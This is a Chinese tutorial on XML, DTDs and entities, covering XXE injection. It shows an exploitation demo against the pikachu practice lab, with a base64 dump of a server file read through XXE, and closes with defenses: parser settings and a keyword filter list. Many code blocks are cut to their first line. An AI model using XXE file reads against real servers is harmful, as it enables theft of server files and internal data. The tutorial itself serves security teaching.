XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
XML基础知识
参考自:XML 简介
什么是XML
- XML 指可扩展标记语言(EXtensible Markup Language)
- XML 是一种标记语言,很类似 HTML
- XML 的设计宗旨是传输数据,而非显示数据
- XML 标签没有被预定义。您需要自行定义标签。
- XML 被设计为具有自我描述性。
XML文档结构
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
1 | <!-- XML 声明 --> |
以上 DTD 解释如下:
!DOCTYPE note 定义此文档是 note 类型的文档。
!ELEMENT note 定义 note 元素有四个元素:”to、from、heading,、body”
!ELEMENT to 定义 to 元素为 “#PCDATA“ 类型
!ELEMENT from 定义 from 元素为 “#PCDATA“ 类型
!ELEMENT heading 定义 heading 元素为 “#PCDATA“ 类型
!ELEMENT body 定义 body 元素为 “#PCDATA“ 类型
DTD
文档类型定义(DTD, Document Type Definition)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
内部声明DTD
1 | <!DOCTYPE 根元素 [元素声明]> |
外部声明DTD
1 | <!DOCTYPE 根元素 SYSTEM "文件名"> |
1 |
|
note.dtd
1 | <!ELEMENT note (to,from,heading,body)> |
实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
一个内部实体声明
语法:
1 | <!ENTITY 实体名称 "实体的值"> |
例子:
DTD 例子:
1 | <!ENTITY writer "Bill Gates"> |
XML 例子:
1 | <author>&writer;©right;</author> |
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
一个外部实体声明
语法:
1 | <!ENTITY 实体名称 SYSTEM "URI/URL"> |
例子:
DTD 例子:
1 | <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> |
XML 例子:
1 | <author>&writer;©right;</author> |
不同程序支持的协议不一样
XXE漏洞
XXE漏洞全称 XML External Entity Injection ,即XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起DOS攻击等危害。XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件。
漏洞利用
靶场:pikachu xxe
相关源码:
1 | $html=''; |
payload:
1 | <?xml version = "1.0"?> |
output:
1 | PD9waHAKLyoqCiAqIENyZWF0ZWQgYnkgcnVubmVyLmhhbgogKiBUaGVyZSBpcyBub3RoaW5nIG5ldyB1bmRlciB0aGUgc3VuCiAqLwoKCiRTRUxGX1BBR0UgPSBzdWJzdHIoJF9TRVJWRVJbJ1BIUF9TRUxGJ10sc3RycnBvcygkX1NFUlZFUlsnUEhQX1NFTEYnXSwnLycpKzEpOwoKaWYgKCRTRUxGX1BBR0UgPSAieHhlLnBocCIpewogICAgJEFDVElWRSA9IGFycmF5KCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCdhY3RpdmUgb3BlbicsJ2FjdGl2ZScsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycpOwp9CgokUElLQV9ST09UX0RJUiA9ICAiLi4vLi4vIjsKaW5jbHVkZV9vbmNlICRQSUtBX1JPT1RfRElSLidoZWFkZXIucGhwJzsKCgo/PgoKCgo8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPgogICAgPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50LWlubmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJicmVhZGNydW1icyBhY2Utc2F2ZS1zdGF0ZSIgaWQ9ImJyZWFkY3J1bWJzIj4KICAgICAgICAgICAgPHVsIGNsYXNzPSJicmVhZGNydW1iIj4KICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iYWNlLWljb24gZmEgZmEtaG9tZSBob21lLWljb24iPjwvaT4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJ4ZWUucGhwIj48L2E+CiAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJhY3RpdmUiPuamgui/sDwvbGk+CiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jb250ZW50Ij4KCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InZ1bCBpbmZvIj4KICAgICAgICAgICAgICAgIFhYRSAtInhtbCBleHRlcm5hbCBlbnRpdHkgaW5qZWN0aW9uIjxicj4KICAgICAgICAgICAgICAgIOaXoiJ4bWzlpJbpg6jlrp7kvZPms6jlhaXmvI/mtJ4i44CCPGJyPgogICAgICAgICAgICAgICAg5qaC5ous5LiA5LiL5bCx5pivIuaUu+WHu+iAhemAmui/h+WQkeacjeWKoeWZqOazqOWFpeaMh+WumueahHhtbOWunuS9k+WGheWuuSzku47ogIzorqnmnI3liqHlmajmjInnhafmjIflrprnmoTphY3nva7ov5vooYzmiafooYws5a+86Ie06Zeu6aKYIjxicj4KICAgICAgICAgICAgICAgIOS5n+WwseaYr+ivtOacjeWKoeerr+aOpeaUtuWSjOino+aekOS6huadpeiHqueUqOaIt+err+eahHhtbOaVsOaNrizogIzlj4jmsqHmnInlgZrkuKXmoLznmoTlronlhajmjqfliLYs5LuO6ICM5a+86Ie0eG1s5aSW6YOo5a6e5L2T5rOo5YWl44CCPGJyPgogICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAg5YW35L2T55qE5YWz5LqOeG1s5a6e5L2T55qE5LuL57uNLOe9kee7nOS4iuacieW+iOWkmizoh6rlt7HliqjmiYvlhYjmn6XkuIDkuIvjgIIKICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgIOeOsOWcqOW+iOWkmuivreiogOmHjOmdouWvueW6lOeahOino+aekHhtbOeahOWHveaVsOm7mOiupOaYr+emgeatouino+aekOWklumDqOWunuS9k+WGheWuueeahCzku47ogIzkuZ/lsLHnm7TmjqXpgb/lhY3kuobov5nkuKrmvI/mtJ7jgII8YnI+CiAgICAgICAgICAgICAgICDku6VQSFDkuLrkvoss5ZyoUEhQ6YeM6Z2i6Kej5p6QeG1s55So55qE5pivbGlieG1sLOWFtuWcqOKJpTIuOS4w55qE54mI5pys5LitLOm7mOiupOaYr+emgeatouino+aekHhtbOWklumDqOWunuS9k+WGheWuueeahOOAgjxicj4KICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgIOacrOeroOaPkOS+m+eahOahiOS+i+S4rSzkuLrkuobmqKHmi5/mvI/mtJ4s6YCa6L+H5omL5Yqo5oyH5a6aTElCWE1MX05PRU5U6YCJ6aG55byA5ZCv5LqGeG1s5aSW6YOo5a6e5L2T6Kej5p6Q44CCCgoKICAgICAgICAgICAgPC9kaXY+CgogICAgICAgIDwvZGl2PjwhLS0gLy5wYWdlLWNvbnRlbnQgLS0+CiAgICA8L2Rpdj4KPC9kaXY+PCEtLSAvLm1haW4tY29udGVudCAtLT4KCgoKPD9waHAKaW5jbHVkZV9vbmNlICRQSUtBX1JPT1RfRElSIC4gJ2Zvb3Rlci5waHAnOwoKPz4K |
漏洞防御
1.使用开发语言提供的禁用外部实体的方法
PHP:
1 | libxml_disable_entity_loader(true); |
JAVA:
1 | DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false); |
Python:
1 | from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) |
2.过滤用户提交的XML数据
对变量:<!DOCTYPE
和<!ENTITY
,或者,SYSTEM和PUBLIC进行过滤
3.检查所使用的底层xml解析库,默认禁止外部实体的解析
4.使用第三方应用代码及时升级补丁
5.同时增强对系统的监控,防止此问题被人利用